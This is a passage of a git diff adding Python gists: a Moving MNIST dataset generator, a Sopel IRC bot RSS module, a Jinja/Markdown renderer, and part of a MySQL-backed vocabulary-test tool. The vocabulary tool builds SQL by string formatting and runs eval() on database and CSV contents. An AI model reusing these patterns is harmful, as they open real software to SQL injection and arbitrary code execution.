+    #bpy.ops.import_scene.multiple_objs('INVOKE_DEFAULT')
\ No newline at end of file
diff --git a/hard-gists/afb129122a64bde3bd0c/._snippet.py b/hard-gists/afb129122a64bde3bd0c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/afb129122a64bde3bd0c/._snippet.py differ
diff --git a/hard-gists/afb129122a64bde3bd0c/snippet.py b/hard-gists/afb129122a64bde3bd0c/snippet.py
new file mode 100644
index 00000000..5f9aac68
--- /dev/null
+++ b/hard-gists/afb129122a64bde3bd0c/snippet.py
@@ -0,0 +1,114 @@
+from PIL import Image
+import sys
+import os
+import math
+import numpy as np
+
+###########################################################################################
+# script to generate moving mnist video dataset (frame by frame) as described in
+# [1] arXiv:1502.04681 - Unsupervised Learning of Video Representations Using LSTMs
+#     Srivastava et al
+# by Tencia Lee
+# saves in hdf5, npz, or jpg (individual frames) format
+###########################################################################################
+
+# helper functions
+def arr_from_img(im,shift=0):
+    w,h=im.size
+    arr=im.getdata()
+    c = np.product(arr.size) / (w*h)
+    return np.asarray(arr, dtype=np.float32).reshape((h,w,c)).transpose(2,1,0) / 255. - shift
+
+def get_picture_array(X, index, shift=0):
+    ch, w, h = X.shape[1], X.shape[2], X.shape[3]
+    ret = ((X[index]+shift)*255.).reshape(ch,w,h).transpose(2,1,0).clip(0,255).astype(np.uint8)
+    if ch == 1:
+        ret=ret.reshape(h,w)
+    return ret
+
+# loads mnist from web on demand
+def load_dataset():
+    if sys.version_info[0] == 2:
+        from urllib import urlretrieve
+    else:
+        from urllib.request import urlretrieve
+    def download(filename, source='http://yann.lecun.com/exdb/mnist/'):
+        print("Downloading %s" % filename)
+        urlretrieve(source + filename, filename)
+    import gzip
+    def load_mnist_images(filename):
+        if not os.path.exists(filename):
+            download(filename)
+        with gzip.open(filename, 'rb') as f:
+            data = np.frombuffer(f.read(), np.uint8, offset=16)
+        data = data.reshape(-1, 1, 28, 28).transpose(0,1,3,2)
+        return data / np.float32(255)
+    return load_mnist_images('train-images-idx3-ubyte.gz')
+
+# generates and returns video frames in uint8 array
+def generate_moving_mnist(shape=(64,64), seq_len=30, seqs=10000, num_sz=28, nums_per_image=2):
+    mnist = load_dataset()
+    width, height = shape
+    lims = (x_lim, y_lim) = width-num_sz, height-num_sz
+    dataset = np.empty((seq_len*seqs, 1, width, height), dtype=np.uint8)
+    for seq_idx in xrange(seqs):
+        # randomly generate direc/speed/position, calculate velocity vector
+        direcs = np.pi * (np.random.rand(nums_per_image)*2 - 1)
+        speeds = np.random.randint(5, size=nums_per_image)+2
+        veloc = [(v*math.cos(d), v*math.sin(d)) for d,v in zip(direcs, speeds)]
+        mnist_images = [Image.fromarray(get_picture_array(mnist,r,shift=0)).resize((num_sz,num_sz), Image.ANTIALIAS) \
+               for r in np.random.randint(0, mnist.shape[0], nums_per_image)]
+        positions = [(np.random.rand()*x_lim, np.random.rand()*y_lim) for _ in xrange(nums_per_image)]
+        for frame_idx in xrange(seq_len):
+            canvases = [Image.new('L', (width,height)) for _ in xrange(nums_per_image)]
+            canvas = np.zeros((1,width,height), dtype=np.float32)
+            for i,canv in enumerate(canvases):
+                canv.paste(mnist_images[i], tuple(map(lambda p: int(round(p)), positions[i])))
+                canvas += arr_from_img(canv, shift=0)
+            # update positions based on velocity
+            next_pos = [map(sum, zip(p,v)) for p,v in zip(positions, veloc)]
+            # bounce off wall if a we hit one
+            for i, pos in enumerate(next_pos):
+                for j, coord in enumerate(pos):
+                    if coord < -2 or coord > lims[j]+2:
+                        veloc[i] = tuple(list(veloc[i][:j]) + [-1 * veloc[i][j]] + list(veloc[i][j+1:]))
+            positions = [map(sum, zip(p,v)) for p,v in zip(positions, veloc)]
+            # copy additive canvas to data array
+            dataset[seq_idx*seq_len+frame_idx] = (canvas * 255).astype(np.uint8).clip(0,255)
+    return dataset
+
+def main(dest, filetype='npz', frame_size=64, seq_len=30, seqs=100, num_sz=28, nums_per_image=2):
+    dat = generate_moving_mnist(shape=(frame_size,frame_size), seq_len=seq_len, seqs=seqs, \
+                                num_sz=num_sz, nums_per_image=nums_per_image)
+    n = seqs * seq_len
+    if filetype == 'hdf5':
+        import h5py
+        from fuel.datasets.hdf5 import H5PYDataset
+        def save_hd5py(dataset, destfile, indices_dict):
+            f = h5py.File(destfile, mode='w')
+            images = f.create_dataset('images', dataset.shape, dtype='uint8')
+            images[...] = dataset
+            split_dict = dict((k, {'images':v}) for k,v in indices_dict.iteritems())
+            f.attrs['split'] = H5PYDataset.create_split_array(split_dict)
+            f.flush()
+            f.close()
+        indices_dict = {'train': (0, n*9/10), 'test': (n*9/10, n)}
+        save_hd5py(dat, dest, indices_dict)
+    elif filetype == 'npz':
+        np.savez(dest, dat)
+    elif filetype == 'jpg':
+        for i in xrange(dat.shape[0]):
+            Image.fromarray(get_picture_array(dat, i, shift=0)).save(os.path.join(dest, '{}.jpg'.format(i)))
+
+if __name__ == '__main__':
+    import argparse
+    parser = argparse.ArgumentParser(description='Command line options')
+    parser.add_argument('--dest', type=str, dest='dest')
+    parser.add_argument('--filetype', type=str, dest='filetype')
+    parser.add_argument('--frame_size', type=int, dest='frame_size')
+    parser.add_argument('--seq_len', type=int, dest='seq_len') # length of each sequence
+    parser.add_argument('--seqs', type=int, dest='seqs') # number of sequences to generate
+    parser.add_argument('--num_sz', type=int, dest='num_sz') # size of mnist digit within frame
+    parser.add_argument('--nums_per_image', type=int, dest='nums_per_image') # number of digits in each frame
+    args = parser.parse_args(sys.argv[1:])
+    main(**{k:v for (k,v) in vars(args).items() if v is not None})
diff --git a/hard-gists/b02bac4b48f780bee77b/._snippet.py b/hard-gists/b02bac4b48f780bee77b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b02bac4b48f780bee77b/._snippet.py differ
diff --git a/hard-gists/b02bac4b48f780bee77b/snippet.py b/hard-gists/b02bac4b48f780bee77b/snippet.py
new file mode 100644
index 00000000..bd875f86
--- /dev/null
+++ b/hard-gists/b02bac4b48f780bee77b/snippet.py
@@ -0,0 +1,426 @@
+# coding=utf8
+
+from __future__ import unicode_literals
+
+from datetime import datetime
+import time
+import re
+import socket
+
+import feedparser
+
+from sopel.module import commands, interval
+from sopel.config import ConfigurationError
+from sopel.logger import get_logger
+
+LOGGER = get_logger(__name__)
+
+socket.setdefaulttimeout(10)
+
+INTERVAL = 60 * 2  # seconds between checking for new updates
+
+
+def setup(bot):
+    bot.memory['rss_manager'] = RSSManager(bot)
+
+    conn = bot.db.connect()
+    c = conn.cursor()
+
+    # if new table doesn't exist, create it and try importing from old tables
+    # The rss_feeds table was added on 2013-07-17.
+    try:
+        c.execute('SELECT * FROM rss_feeds')
+    except StandardError:
+        create_table(bot, c)
+        conn.commit()
+    conn.close()
+
+
+def create_table(bot, c):
+    # MySQL needs to only compare on the first n characters of a TEXT field
+    # but SQLite won't accept the syntax needed to make it do it.
+    primary_key = '(channel, feed_name)'
+
+    c.execute('''CREATE TABLE IF NOT EXISTS rss_feeds (
+        channel TEXT,
+        feed_name TEXT,
+        feed_url TEXT,
+        fg TINYINT,
+        bg TINYINT,
+        enabled BOOL DEFAULT 1,
+        article_title TEXT,
+        article_url TEXT,
+        published TEXT,
+        etag TEXT,
+        modified TEXT,
+        PRIMARY KEY {0}
+        )'''.format(primary_key))
+
+
+def colour_text(text, fg=None, bg=None):
+    """Given some text and fore/back colours, return a coloured text string."""
+    if fg is None:
+        return text
+    else:
+        colour = '{0},{1}'.format(fg, bg) if bg is not None else fg
+        return "\x03{0}{1}\x03".format(colour, text)
+
+
+@commands('rss')
+def manage_rss(bot, trigger):
+    """Manage RSS feeds. For a list of commands, type: .rss help"""
+    bot.memory['rss_manager'].manage_rss(bot, trigger)
+
+
+class RSSManager:
+    def __init__(self, bot):
+        self.running = True
+
+        # get a list of all methods in this class that start with _rss_
+        self.actions = sorted(method[5:] for method in dir(self) if method[:5] == '_rss_')
+
+    def _show_doc(self, bot, command):
+        """Given an RSS command, say the docstring for the corresponding method."""
+        for line in getattr(self, '_rss_' + command).__doc__.split('\n'):
+            line = line.strip()
+            if line:
+                bot.reply(line)
+
+    def manage_rss(self, bot, trigger):
+        """Manage RSS feeds. Usage: .rss <command>"""
+        if not trigger.admin:
+            bot.reply("Sorry, you need to be an admin to modify the RSS feeds.")
+            return
+
+        text = trigger.group().split()
+        if (len(text) < 2 or text[1] not in self.actions):
+            bot.reply("Usage: .rss <command>")
+            bot.reply("Available RSS commands: " + ', '.join(self.actions))
+            return
+
+        conn = bot.db.connect()
+        # run the function and commit database changes if it returns true
+        if getattr(self, '_rss_' + text[1])(bot, trigger, conn.cursor()):
+            conn.commit()
+        conn.close()
+
+    def _rss_start(self, bot, trigger, c):
+        """Start fetching feeds. Usage: .rss start"""
+        bot.reply("Okay, I'll start fetching RSS feeds..." if not self.running else
+                  "Continuing to fetch RSS feeds.")
+        LOGGER.debug("RSS started.")
+        self.running = True
+
+    def _rss_stop(self, bot, trigger, c):
+        """Stop fetching feeds. Usage: .rss stop"""
+        bot.reply("Okay, I'll stop fetching RSS feeds..." if self.running else
+                  "Not currently fetching RSS feeds.")
+        LOGGER.debug("RSS stopped.")
+        self.running = False
+
+    def _rss_add(self, bot, trigger, c):
+        """Add a feed to a channel, or modify an existing one.
+        Set mIRC-style foreground and background colour indices using fg and bg.
+        Usage: .rss add <#channel> <Feed_Name> <URL> [fg] [bg]
+        """
+        pattern = r'''
+            ^\.rss\s+add
+            \s+([~&#+!][^\s,]+)   # channel
+            \s+("[^"]+"|[\w-]+)  # name, which can contain anything but quotes if quoted
+            \s+(\S+)             # url
+            (?:\s+(\d+))?        # foreground colour (optional)
+            (?:\s+(\d+))?        # background colour (optional)
+            '''
+        match = re.match(pattern, trigger.group(), re.IGNORECASE | re.VERBOSE)
+        if match is None:
+            self._show_doc(bot, 'add')
+            return
+
+        channel = match.group(1)
+        feed_name = match.group(2).strip('"')
+        feed_url = match.group(3)
+        fg = int(match.group(4)) % 16 if match.group(4) else None
+        bg = int(match.group(5)) % 16 if match.group(5) else None
+
+        c.execute('''
+            SELECT * FROM rss_feeds WHERE channel = ? AND feed_name = ?
+            ''', (channel, feed_name))
+        if not c.fetchone():
+            c.execute('''
+                INSERT INTO rss_feeds (channel, feed_name, feed_url, fg, bg)
+                VALUES (?, ?, ?, ?, ?)
+                ''', (channel, feed_name, feed_url, fg, bg))
+            bot.reply("Successfully added the feed to the channel.")
+        else:
+            c.execute('''
+                UPDATE rss_feeds SET feed_url = ?, fg = ?, bg = ?
+                WHERE channel = ? AND feed_name = ?
+                ''', (feed_url, fg, bg, channel, feed_name))
+            bot.reply("Successfully modified the feed.")
+        return True
+
+    def _rss_del(self, bot, trigger, c):
+        """Remove one or all feeds from one or all channels.
+        Usage: .rss del [#channel] [Feed_Name]
+        """
+        pattern = r"""
+            ^\.rss\s+del
+            (?:\s+([~&#+!][^\s,]+))?  # channel (optional)
+            (?:\s+("[^"]+"|[\w-]+))? # name (optional)
+            """
+        match = re.match(pattern, trigger.group(), re.IGNORECASE | re.VERBOSE)
+        # at least one of channel and feed name is required
+        if match is None or (not match.group(1) and not match.group(2)):
+            self._show_doc(bot, 'del')
+            return
+
+        channel = match.group(1)
+        feed_name = match.group(2).strip('"') if match.group(2) else None
+        args = [arg for arg in (channel, feed_name) if arg]
+
+        c.execute(('DELETE FROM rss_feeds WHERE '
+                   + ('channel = ? AND ' if channel else '')
+                   + ('feed_name = ?' if feed_name else '')
+                   ).rstrip(' AND '), args)
+
+        if c.rowcount:
+            noun = 'feeds' if c.rowcount != 1 else 'feed'
+            bot.reply("Successfully removed {0} {1}.".format(c.rowcount, noun))
+        else:
+            bot.reply("No feeds matched the command.")
+
+        return True
+
+    def _rss_enable(self, bot, trigger, c):
+        """Enable a feed or feeds. Usage: .rss enable [#channel] [Feed_Name]"""
+        return self._toggle(bot, trigger, c)
+
+    def _rss_disable(self, bot, trigger, c):
+        """Disable a feed or feeds. Usage: .rss disable [#channel] [Feed_Name]"""
+        return self._toggle(bot, trigger, c)
+
+    def _toggle(self, bot, trigger, c):
+        """Enable or disable a feed or feeds. Usage: .rss <enable|disable> [#channel] [Feed_Name]"""
+        command = trigger.group(3)
+
+        pattern = r"""
+            ^\.rss\s+(enable|disable) # command
+            (?:\s+([~&#+!][^\s,]+))?   # channel (optional)
+            (?:\s+("[^"]+"|[\w-]+))?  # name (optional)
+            """
+        match = re.match(pattern, trigger.group(), re.IGNORECASE | re.VERBOSE)
+        # at least one of channel and feed name is required
+        if match is None or (not match.group(2) and not match.group(3)):
+            self._show_doc(bot, command)
+            return
+
+        enabled = 1 if command == 'enable' else 0
+        channel = match.group(2)
+        feed_name = match.group(3).strip('"') if match.group(3) else None
+        args = [arg for arg in (enabled, channel, feed_name) if arg is not None]
+
+        c.execute(('UPDATE rss_feeds SET enabled = ? WHERE '
+                   + ('channel = ? AND ' if channel else '')
+                   + ('feed_name = ?' if feed_name else '')
+                   ).rstrip(' AND '), args)
+
+        if c.rowcount:
+            noun = 'feeds' if c.rowcount != 1 else 'feed'
+            bot.reply("Successfully {0}d {1} {2}.".format(command, c.rowcount, noun))
+        else:
+            bot.reply("No feeds matched the command.")
+
+        return True
+
+    def _rss_list(self, bot, trigger, c):
+        """Get information on all feeds in the database. Usage: .rss list [#channel] [Feed_Name]"""
+        pattern = r"""
+            ^\.rss\s+list
+            (?:\s+([~&#+!][^\s,]+))?  # channel (optional)
+            (?:\s+("[^"]+"|[\w-]+))? # name (optional)
+            """
+        match = re.match(pattern, trigger.group(), re.IGNORECASE | re.VERBOSE)
+        if match is None:
+            self._show_doc(bot, 'list')
+            return
+
+        channel = match.group(1)
+        feed_name = match.group(2).strip('"') if match.group(2) else None
+
+        c.execute('SELECT * FROM rss_feeds')
+        feeds = [RSSFeed(row) for row in c.fetchall()]
+
+        if not feeds:
+            bot.reply("No RSS feeds in the database.")
+            return
+
+        filtered = [feed for feed in feeds
+                    if (feed.channel == channel or channel is None)
+                    and (feed_name is None or feed.name.lower() == feed_name.lower())]
+
+        if not filtered:
+            bot.reply("No feeds matched the command.")
+            return
+
+        noun = 'feeds' if len(feeds) != 1 else 'feed'
+        bot.reply("Showing {0} of {1} RSS {2} in the database:".format(
+            len(filtered), len(feeds), noun))
+
+        for feed in filtered:
+            bot.say("  {0} {1} {2}{3} {4} {5}".format(
+                    feed.channel,
+                    colour_text(feed.name, feed.fg, feed.bg),
+                    feed.url,
+                    " (disabled)" if not feed.enabled else '',
+                    feed.fg, feed.bg))
+
+    def _rss_fetch(self, bot, trigger, c):
+        """Force all RSS feeds to be fetched immediately. Usage: .rss fetch"""
+        read_feeds(bot, True)
+
+    def _rss_help(self, bot, trigger, c):
+        """Get help on any of the RSS feed commands. Usage: .rss help <command>"""
+        command = trigger.group(4)
+        if command in self.actions:
+            self._show_doc(bot, command)
+        else:
+            bot.reply("For help on a command, type: .rss help <command>")
+            bot.reply("Available RSS commands: " + ', '.join(self.actions))
+
+
+class RSSFeed:
+    """Represent a single row in the feed table."""
+
+    def __init__(self, row):
+        """Initialize with values from the feed table."""
+        columns = ('channel',
+                   'name',
+                   'url',
+                   'fg',
+                   'bg',
+                   'enabled',
+                   'title',
+                   'link',
+                   'published',
+                   'etag',
+                   'modified',
+                   )
+        for i, column in enumerate(columns):
+            setattr(self, column, row[i])
+
+
+@interval(INTERVAL)
+def read_feeds(bot, force=False):
+    if not bot.memory['rss_manager'].running and not force:
+        return
+
+    conn = bot.db.connect()
+    c = conn.cursor()
+    c.execute('SELECT * FROM rss_feeds')
+    feeds = c.fetchall()
+    if not feeds:
+        return
+
+    for feed_row in feeds:
+        feed = RSSFeed(feed_row)
+        if not feed.enabled:
+            continue
+
+        def disable_feed():
+            c.execute('''
+                UPDATE rss_feeds SET enabled = ?
+                WHERE channel = ? AND feed_name = ?
+                ''', (0, feed.channel, feed.name))
+            conn.commit()
+
+        try:
+            fp = feedparser.parse(feed.url, etag=feed.etag, modified=feed.modified)
+        except IOError as e:
+            LOGGER.exception("Can't parse feed on %s, disabling.",
+                             feed.name)
+            disable_feed()
+            continue
+
+        # fp.status will only exist if pulling from an online feed
+        status = getattr(fp, 'status', None)
+
+        #LOGGER.debug("%s: status = %s, version = '%s', items = %s",
+        #             feed.name, status, fp.version, len(fp.entries))
+
+        # check HTTP status
+        if status == 301:  # MOVED_PERMANENTLY
+            LOGGER.warning(
+                "Got HTTP 301 (Moved Permanently) on %s, updating URI to %s",
+                feed.name, fp.href
+            )
+            c.execute('''
+                UPDATE rss_feeds SET feed_url = ?
+                WHERE channel = ? AND feed_name = ?
+                ''', (fp.href, feed.channel, feed.name))
+            conn.commit()
+
+        elif status == 410:  # GONE
+            LOGGER.warning("Got HTTP 410 (Gone) on {0}, disabling",
+                           feed.name)
+            disable_feed()
+
+        if not fp.entries:
+            continue
+
+        feed_etag = getattr(fp, 'etag', None)
+        feed_modified = getattr(fp, 'modified', None)
+
+        entry = fp.entries[0]
+        # parse published and updated times into datetime objects (or None)
+        entry_dt = (datetime.fromtimestamp(time.mktime(entry.published_parsed))
+                    if hasattr(entry, 'published_parsed') else None)
+        entry_update_dt = (datetime.fromtimestamp(time.mktime(entry.updated_parsed))
+                           if hasattr(entry, 'updated_parsed') else None)
+
+        # check if article is new, and skip otherwise
+        if (feed.title == entry.title and feed.link == entry.link
+                and feed.etag == feed_etag and feed.modified == feed_modified):
+            LOGGER.info(u"Skipping previously read entry: [%s] %s",
+                        feed.name, entry.title)
+            continue
+
+        # save article title, url, and modified date
+        c.execute('''
+            UPDATE rss_feeds
+            SET article_title = ?, article_url = ?, published = ?, etag = ?, modified = ?
+            WHERE channel = ? AND feed_name = ?
+            ''', (entry.title, entry.link, entry_dt, feed_etag, feed_modified,
+                  feed.channel, feed.name))
+        conn.commit()
+
+        if feed.published and entry_dt:
+            published_dt = datetime.strptime(feed.published, "%Y-%m-%d %H:%M:%S")
+            if published_dt >= entry_dt:
+                # This will make more sense once iterating over the feed is
+                # implemented. Once that happens, deleting or modifying the
+                # latest item would result in the whole feed getting re-msg'd.
+                # This will prevent that from happening.
+                LOGGER.info(
+                    "Skipping older entry: [%s] %s, because %s >= %s",
+                    feed.name, entry.title, published_dt, entry_dt)
+                continue
+
+        
+        # create message for new entry
+        message = u"[\x02{0}\x02] \x02{1}\x02 {2}".format(
+            colour_text(feed.name, feed.fg, feed.bg), entry.title, entry.link)
+        
+        # append update time if it exists, or published time if it doesn't
+        timestamp = entry_update_dt or entry_dt
+        if timestamp:
+            # attempt to get time format from preferences
+            tformat = bot.db.get_channel_value(feed.channel, 'time_format')
+            if not tformat and bot.config.clock.time_format:
+                tformat = bot.config.clock.time_format
+
+            # message += " - {0}".format(timestamp.strftime(tformat or '%F - %T%Z'))
+
+        # print message
+        bot.msg(feed.channel, message)
+
+    conn.close()
\ No newline at end of file
diff --git a/hard-gists/b09f45e112b226b97a36/._snippet.py b/hard-gists/b09f45e112b226b97a36/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b09f45e112b226b97a36/._snippet.py differ
diff --git a/hard-gists/b09f45e112b226b97a36/snippet.py b/hard-gists/b09f45e112b226b97a36/snippet.py
new file mode 100644
index 00000000..657cdb20
--- /dev/null
+++ b/hard-gists/b09f45e112b226b97a36/snippet.py
@@ -0,0 +1,30 @@
+import sys
+import markdown
+import yaml
+import os
+from jinja2 import Environment, FileSystemLoader
+
+with open(sys.argv[2], 'r') as f:
+    content = yaml.safe_load(f.read())
+
+for k in content:
+    if k.startswith('md_'):
+        content[k] = markdown.markdown(content[k])
+
+tpath = os.path.join(os.getcwd(), 'templates')
+env = Environment(loader=FileSystemLoader(tpath))
+template = env.get_template(sys.argv[1])
+
+print(template.render(content))
+
+# example usage
+#
+# $ cat templates/foo.html
+# <h1>{{ non_markdown_entry }}</h1>
+# {{ md_items }}
+# $ cat content/foo.yaml
+# non_markdown_entry: 'Hey!'
+# md_items: |
+#     * item 1
+#     * item 2
+# $ python this_script.py foo.html content/foo.yaml >bar.html
\ No newline at end of file
diff --git a/hard-gists/b0a882f844e188c78358/._snippet.py b/hard-gists/b0a882f844e188c78358/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/b0a882f844e188c78358/._snippet.py differ
diff --git a/hard-gists/b0a882f844e188c78358/snippet.py b/hard-gists/b0a882f844e188c78358/snippet.py
new file mode 100644
index 00000000..bb3cf5e5
--- /dev/null
+++ b/hard-gists/b0a882f844e188c78358/snippet.py
@@ -0,0 +1,3673 @@
+# -*- coding: utf8 -*-
+#!/usr/bin/python
+
+### Imports libraries
+
+import warnings
+with warnings.catch_warnings():
+    warnings.simplefilter("ignore", DeprecationWarning)
+    import MySQLdb ### Not standard (not included in the standard Python package)
+    from MySQLdb import OperationalError
+    from MySQLdb import ProgrammingError
+    from MySQLdb import InterfaceError
+import shelve
+from string import lower, upper
+from string import replace
+from operator import itemgetter
+from PyRTF import * ### Not standard
+from random import shuffle
+import os
+import random
+from datetime import date
+from time import sleep
+import datetime
+import csv
+import copy
+from urllib import urlopen
+from xml.dom.minidom import parseString, parse
+import unicodedata
+from ltchinese import conversion ### Not standard
+from tkMessageBox import showinfo
+from wordnik import *
+
+### There are some problems with handling weird letters in definitions, so this is the list that the program looks out
+### for and doesn't allow. Not a very elegant solution, there's probably some way to deal with the encodings more directly.
+global foreign_letters
+foreign_letters = ['â', 'ê', 'î', 'ô', 'û', 'é', 'ë', 'ï', 'ü', 'ÿ', 'ç', 'ä', 'ö','ü','ñ']
+
+###################################################################################
+### FOUNDATIONAL COMMANDS
+# do_command(command)
+# get_words_list(dbase)
+# get_generator_data(dbase, word, q_type)
+###################################################################################
+
+### This isn't used anywhere in the program, it's only if you want to test new commands a little faster
+def do_test_command(command):
+    cursor.execute(command) ### Executes the command
+    reply = cursor.fetchall() ### Grabs data
+    conn.commit()
+
+    return reply ### Return data
+
+### A more complicated way of doing commands, which fixes the connection time-out problem. Because 'conn' and 'cursor' are
+### global variables, they can be redefined and don't need to be passed back along with the data, though that would be the
+### more elegant and proper solution. In general, global variables are a weak spot in my knowledge, and I'm not sure why
+### this particular solution works, while others don't.
+def do_command(command):
+    while True:
+        try:
+            cursor.execute(command) ### Executes the command
+            reply = cursor.fetchall() ### Grabs data
+            conn.commit()
+            break
+        except (OperationalError, InterfaceError):
+            print "Connection timed out ("+command+"). Reconnecting..." ### If MySQL went away, reconnect
+            host = "www.sophosacademics.com"
+            user = "sophos_vocuser"
+            try:
+                conn.close()
+            except ProgrammingError: ### Try closing the connection, but catch an error if it's already closed
+                pass
+            try:
+                global conn
+                conn = MySQLdb.connect(host = host, user = user, passwd = sophos_password) ### Reconnect globally
+                global cursor
+                cursor = conn.cursor()
+
+                cursor.execute("SET SESSION TRANSACTION ISOLATION LEVEL READ COMMITTED") ### Allow different reads based on in-moment changes
+                cursor.execute("SET SESSION WAIT_TIMEOUT = 60")
+                cursor.execute("USE %s" % db)
+            except OperationalError:
+                pass
+            except ProgrammingError:
+                pass
+
+    return reply ### Return data
+
+
+### There's a file called vocab-log.csv in the same folder, which tracks activity. Three columns: student name, file name (changes depending on what operation you're in, obviously) and timestamp
+def add_to_log(student_name, file_name):
+    try:
+        logwriter = open('vocab-log.csv', 'a') ## the 'a' is important because it means it starts writing at the end of the file, I think
+    except IOError: ## actually, this error doesn't seem to come up, the open function just makes a new file
+        print "No log file or log file in use. Make vocab-log.csv (Name/File/Date/Time)."
+        return
+    now = datetime.datetime.now()
+    row = str(student_name+","+file_name+","+str(now.year)+"."+str(now.month)+'.'+str(now.day)+","+str(now.hour)+':'+str(now.minute))
+    logwriter.write(row)
+    logwriter.write("\n")
+    logwriter.close()
+    return
+
+### Boolean function, which figures out whether the database, or a particular word in the database, is locked
+def locked(dbase, word = False):
+    if not word: ## if you're looked for a word's status
+        row = do_command("SELECT lockvar FROM %s WHERE word = '__lockvar__'" % dbase)
+        try:
+            if eval(row[0][0]):
+                return True
+            else:
+                return False
+        except (TypeError, IndexError):
+            return False
+
+    else: ## if you're looking for a db's status
+        row = do_command("SELECT lockvar FROM %s WHERE word = \'%s\'" % (dbase, word))
+        try:
+            if eval(row[0][0]):
+                return True
+            else:
+                return False
+        except (TypeError, IndexError):
+            return False
+        
+    return False
+
+### Locks a database (keep in mind this is an "in-house" solution, it's just text in the database that gets changed. It's
+### not a command within MySQL that locks the database under the hood somehow. 
+def lock_dbase(dbase):
+    do_command("UPDATE %s SET data = 'True', lockvar = 'True' WHERE word = '__lockvar__'" % dbase)
+    return
+
+### Unlocks the database
+def unlock_dbase(dbase):
+    do_command("UPDATE %s SET data = 'False', lockvar = 'False' WHERE word = '__lockvar__'" % dbase)
+    return
+
+### Locks a word (not used in current set-up)
+def lock_word(dbase, word):
+    do_command("UPDATE %s SET lockvar = 'True' WHERE word = \"%s\"" % (dbase,MySQLdb.escape_string(word)))
+    return
+
+### Unlocks a word
+def unlock_word(dbase, word):
+    do_command("UPDATE %s SET lockvar = 'False' WHERE word = \"%s\"" % (dbase,MySQLdb.escape_string(word)))
+    return
+
+### All the important databases have 3 columns, the WORD, DATA associated with that word in this table and a
+### variable for LOCKED or not. This command just produces a list of all the words in a given database
+def get_words_list(dbase):
+    row = do_command("SELECT word FROM %s" % dbase)
+    words = []
+    
+    for word in row:
+        if len(word[0])==0:
+            continue
+        elif word[0][0] in [' ','-','_']:
+            continue
+        else:
+            words.append(word[0])
+            
+    return words
+
+### Creates a python dictionary object from a database, using the WORD as the key and the DATA as the value. This is useful
+### because it only takes one command call to make the dictionary, and subsequent calls, since the dictionary is local, are
+### very fast. On the other hand, if the internet connection is choppy, the one longer call sometimes times-out midway
+### through. Still, this approach is much faster (though it allows less flexibility in terms of locking individual words
+### as opposed to whole databases)
+def turn_dbase_into_dict(dbase):
+    row = do_command("SELECT * FROM %s" % dbase)
+    data = {}
+    for item in row:
+        try:
+            if item[0]!= '' and item[0][0] not in [' ', '-','_']: ## if it's not nothing and it's not a special cell like the db's locked variable
+                data[item[0]] = eval(item[1])
+        except IndexError:
+            print item
+
+    return data
+
+def get_generator_data(dbase, word, q_type):
+    answers = do_command("SELECT data FROM %s WHERE word = \'%s\'" % (dbase, word))
+    if len(answers)==0:
+        print "Something wrong with: " + word
+        return {}
+    answers = answers[0][0]
+    _answers = {}
+    if answers=='{}':
+        return _answers
+    else:
+        answers = eval(answers)
+        for answer_key in answers:
+            if answer_key[0] == q_type:
+                _answers[answer_key] = answers[answer_key]
+        return _answers
+
+### Boolean function to see if a word is an entry in a db
+def check_if_word_exists_in_db(word, dbase):
+    row = do_command("SELECT data FROM %s WHERE word = \'%s\'" % (dbase, word))
+    if len(row) == 0:
+        return False
+    else:
+        return True
+
+### Same as above, but for a local python dictionary instead
+def check_if_word_exists_in_dict(word, ddict):
+    if ddict.has_key(word):
+        return True
+    else:
+        return False
+
+### The next 3 functions were a bigger part of an earlier iteration of the program. They still get used when a testsheet
+### gets uploaded and there are new entries. Basically, it's a way of making double-checking more manageable for the user.
+### The idea is to break up a big group of entries into groups of 5, and have the user double-check each group of 5 individually.
+    
+### This takes a big list and sorts it into a list consisting of smaller (<5 item) lists. Could be used for any list.
+def sort_into_5s(items):
+    temp = []
+    sorted_by_5s = []
+    for item in items:
+        if len(temp) < 5: #keep appending items till length of group = 5
+            temp.append(item)
+        else:
+            sorted_by_5s.append(temp) # then append that group and start again
+            temp = []
+            temp.append(item)
+    if len(temp) != 0:
+        sorted_by_5s.append(temp)
+        
+    return sorted_by_5s
+
+
+### This function runs the checking operation and spits back a revised list. The input is specific to the program, so it
+### can't be used generally for any list.
+def check_by_5s(words_by_5s, q_type):
+    for group in words_by_5s: # go through each group
+        while True: # until the user gives the okay, stay on that group, and print out the latest version of it as the "menu"
+            print "\n"
+            if len(group) == 0:
+                break
+            for n in range(len(group)):
+                print str(n+1) + ". " + group[n][0]
+                print "   "+q_type+" - " + group[n][1]
+            print "\n"
+
+            # asks the user which one that want to edit. anything that isn't a correct number moves you to the next group of 5.
+            check = raw_input("Enter the number of the word you wish to edit or anything else to continue: ")
+            try:
+                check = int(check)-1
+                if check in range(0,min(5, len(group))): # check if the number is correct
+                    print group[check][1] # print the original
+                    group[check][1] = raw_input("Enter the edit (hit return to delete). > ") # ask for the edit
+                    if group[check] == "": # if the edit is just a return, that word is simply deleted, and will not be included in the test (and the new answer will not be added to the dbase, though the word won't be removed)
+                        del group[check]
+                    elif q_type == 's': # checks the requirements for a sentence completion
+                        while '---' not in group[check][1]:
+                            if group[check][1] == "":
+                                del group[check]
+                                break
+                            else:
+                                print "You forgot the ---."
+                                group[check][1] = raw_input("Enter the edit (hit return to delete). > ") # asks again if missing the ---
+                    elif q_type == 'm':
+                        group[check][1]=lower(group[check][1])
+                else: # anything that isn't a correct number moves you to the next group of 5
+                    break
+            except (ValueError, IndexError):
+                break
+
+    return words_by_5s
+
+### Essentially, flattens the first two layers of a list into one layer. [[a,b],[c,d]] becomes [a,b,c,d]
+def flatten_5s(words_by_5s):
+    flat = []
+    for group in words_by_5s:
+        for wset in group:
+            flat.append(wset)
+    return flat
+
+### A stand-alone function that returns a dictionary object with all of the relevant info. The format is:
+### main word : [all words, level]
+### Right now, it doesn't catch an error if the csv file isn't there; it will just quite with a standard python error
+### This should be fixed.
+def get_words_by_level():
+    name = 'FINAL LIST.csv'
+    reader = csv.reader(open(name, 'rb')) ### there should be an error-catcher here
+    words_by_level = {}
+    for row in reader:
+        entries = eval(row[0])
+        for entry in entries:
+            words_by_level[entry] = [entries[0], int(row[2])]
+
+    return words_by_level
+
+### based on user-inputted initials, gets the full name of the adviser. (used for file headings)
